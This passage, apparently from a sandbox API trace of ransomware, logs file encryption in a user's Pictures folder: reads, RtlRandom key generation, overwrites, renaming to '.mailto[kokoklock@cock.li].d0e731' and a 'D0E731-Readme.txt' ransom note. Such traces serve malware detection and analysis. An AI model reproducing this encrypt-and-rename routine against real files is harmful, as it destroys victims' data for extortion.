lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0x1003fbf4*=0x20, lpOverlapped=0x0) returned 1 [0066.176] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0066.176] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0x1003fc08*=0x8, lpOverlapped=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x1003fc20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x1003fc20*, lpNumberOfBytesWritten=0x1003fc08*=0x4, lpOverlapped=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1003fc08*=0x4, lpOverlapped=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1003fc08*=0x6c, lpOverlapped=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x1003fc08*=0x20, lpOverlapped=0x0) returned 1 [0066.176] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1003fc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1003fc08*=0x4, lpOverlapped=0x0) returned 1 [0066.176] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.176] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.176] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.176] CloseHandle (hObject=0x7c8) returned 1 [0066.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x3486220 [0066.182] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" [0066.182] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" [0066.183] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png", dwFileAttributes=0x20) returned 0 [0066.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.184] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.184] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.184] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c28) returned 1 [0066.184] RtlExitUserThread (Status=0x1) Thread: id = 357 os_tid = 0x6c0 [0066.185] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp")) returned 0x20 [0066.185] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp", dwFileAttributes=0x20) returned 1 [0066.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.186] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x100bfa34 | out: lpFileSize=0x100bfa34*=14925) returned 1 [0066.186] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x3a49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.186] ReadFile (in: hFile=0x7c8, lpBuffer=0x100bfa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x100bfa08*, lpNumberOfBytesRead=0x100bfa04*=0x4, lpOverlapped=0x0) returned 1 [0066.186] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0066.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb08 [0066.186] NtQuerySystemTime (in: CurrentTime=0x100bf9e0 | out: CurrentTime=0x100bf9e0*=132121176240825427) returned 0x0 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x505b502e [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xf5b96946 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xf7bfaf8f [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xe40b0cd5 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x240f3a86 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x9befc204 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xaa59826 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x95898324 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xab2c79b2 [0066.186] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x21ab768b [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xf3255aae [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x939af2b7 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x837fcc6 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xd37cf2de [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xe32bead3 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x6b45c1a0 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x61b9f230 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x4ece9197 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x6aaf55be [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x61479542 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x2ac49b46 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xa6c8e2da [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x8df160a3 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x55f9749b [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xa04b8ef [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xb376e58a [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xc6b9f5ee [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xc3d7e82b [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0x90312073 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xde52f1a6 [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xcade0b0f [0066.187] RtlRandom (in: Seed=0x100bf9ec | out: Seed=0x100bf9ec) returned 0xb39f078f [0066.201] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3a4d, lpNumberOfBytesRead=0x100bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x100bf9e0*=0x3a4d, lpOverlapped=0x0) returned 1 [0066.202] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x100bf9a8 | out: lpNewFilePointer=0x0) returned 1 [0066.202] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x3a4d, lpNumberOfBytesWritten=0x100bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x100bf9dc*=0x3a4d, lpOverlapped=0x0) returned 1 [0066.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x100bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x100bf9d8*=0x20, lpOverlapped=0x0) returned 1 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x100bfa04*=0x8, lpOverlapped=0x0) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x100bfa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x100bfa1c*, lpNumberOfBytesWritten=0x100bfa04*=0x4, lpOverlapped=0x0) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x100bfa04*=0x4, lpOverlapped=0x0) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x100bfa04*=0x6c, lpOverlapped=0x0) returned 1 [0066.203] WriteFile (in: hFile=0x7c8, lpBuffer=0x33effb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x33effb8*, lpNumberOfBytesWritten=0x100bfa04*=0x20, lpOverlapped=0x0) returned 1 [0066.204] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x100bfa04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x100bfa04*=0x4, lpOverlapped=0x0) returned 1 [0066.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effb8) returned 1 [0066.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.204] CloseHandle (hObject=0x7c8) returned 1 [0066.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x3486220 [0066.207] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" [0066.207] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" [0066.207] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.208] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.208] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp", dwFileAttributes=0x20) returned 0 [0066.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.208] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.209] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.209] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430de0) returned 1 [0066.209] RtlExitUserThread (Status=0x1) Thread: id = 358 os_tid = 0xfa4 [0066.210] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif")) returned 0x20 [0066.210] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif", dwFileAttributes=0x20) returned 1 [0066.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.210] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x1013f814 | out: lpFileSize=0x1013f814*=57859) returned 1 [0066.210] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xe1ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.211] ReadFile (in: hFile=0x7c8, lpBuffer=0x1013f7e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x1013f7e8*, lpNumberOfBytesRead=0x1013f7e4*=0x4, lpOverlapped=0x0) returned 1 [0066.211] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0066.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0066.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0066.211] NtQuerySystemTime (in: CurrentTime=0x1013f7c0 | out: CurrentTime=0x1013f7c0*=132121176240965862) returned 0x0 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xec0215d5 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xedaea165 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xd4d18b74 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xa02493ed [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x9c54974d [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x17b45661 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x5075af [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xbb1a0780 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x9bc2d393 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x987271a0 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x9b84707c [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xf19ec85f [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x22c33621 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x8e38c109 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x773bb699 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x4b401c84 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xc1a8f02d [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x72924f99 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x38d23a87 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x81906f2d [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xa91897d5 [0066.211] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xeb738d42 [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x9f8fba1a [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x43ad183e [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x41ddc19 [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x5c95b69e [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x1a59f6aa [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x75f6d131 [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x7e9255b1 [0066.212] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xb2707e8b [0066.213] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0xc2b49c7b [0066.213] RtlRandom (in: Seed=0x1013f7cc | out: Seed=0x1013f7cc) returned 0x1c37e0e4 [0066.223] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.223] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1013f798, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1013f798*=0x4096, lpOverlapped=0x0) returned 1 [0066.224] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4b20 [0066.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1013f798, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x1013f798*=0x4096, lpOverlapped=0x0) returned 1 [0066.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.225] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xe203, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1013f7d0, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x1013f7d0*=0x20, lpOverlapped=0x0) returned 1 [0066.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0066.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x1013f7e4*=0x8, lpOverlapped=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x1013f7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x1013f7fc*, lpNumberOfBytesWritten=0x1013f7e4*=0x4, lpOverlapped=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1013f7e4*=0x4, lpOverlapped=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1013f7e4*=0x6c, lpOverlapped=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x1013f7e4*=0x20, lpOverlapped=0x0) returned 1 [0066.225] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1013f7e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1013f7e4*=0x4, lpOverlapped=0x0) returned 1 [0066.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.226] CloseHandle (hObject=0x7c8) returned 1 [0066.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e67c8 [0066.228] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" [0066.228] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" [0066.228] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.229] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp 